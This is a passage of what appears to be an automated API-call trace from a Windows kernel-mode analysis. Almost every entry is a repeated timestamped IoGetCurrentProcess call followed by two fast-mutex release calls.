ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.935] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.961] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.962] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.962] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.991] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0124.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0125.021] IoGetCurrentProcess () returned 0xffffe000011ff900 [0125.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0125.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0125.042] IoGetCurrentProcess () returned 0xffffe000011ff900 [0125.043] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0125.043] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0125.065] IoGetCurrentProcess () returned 0xffffe000011ff900 [0125.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0125.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.045] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.046] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.046] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.048] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.048] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.048] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.083] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.139] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.139] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.139] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.169] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.170] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.198] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.198] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.228] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.411] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.447] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.447] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0126.470] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.488] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.518] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.547] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.563] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.595] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.625] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.625] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.642] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.672] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.687] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.687] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.687] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.704] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.734] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.764] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.764] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.764] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.780] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.796] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.796] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.796] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.799] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.863] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.866] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.866] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.866] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.907] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.926] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.946] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.975] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.975] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.975] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.003] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.018] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.035] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.051] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.080] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.096] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.111] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.111] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.140] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.157] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.174] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.191] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.209] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.209] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.209] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.210] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.210] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.211] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.278] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.278] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.278] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.307] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.307] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.307] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.337] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.354] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.354] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.383] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.399] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.414] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.432] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.432] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.432] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.455] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.484] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.484] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.484] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.502] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.528] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.528] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.528] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.555] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.591] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.591] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.591] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.592] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.592] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.593] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.593] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.594] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.617] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.648] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.648] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.648] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.678] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.710] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.698] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.700] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.734] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.794] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.822] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.840] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.840] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.840] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.867] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.868] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.110] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.110] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.149] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.167] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.167] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.167] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.196] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.212] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.212] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.212] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.227] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.243] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.259] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.276] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.276] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.276] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.306] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.322] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.338] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.338] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.338] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.386] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.414] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.429] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.445] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.461] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.476] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.476] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.492] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.492] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.492] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.508] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.508] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.508] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.511] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0129.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.579] 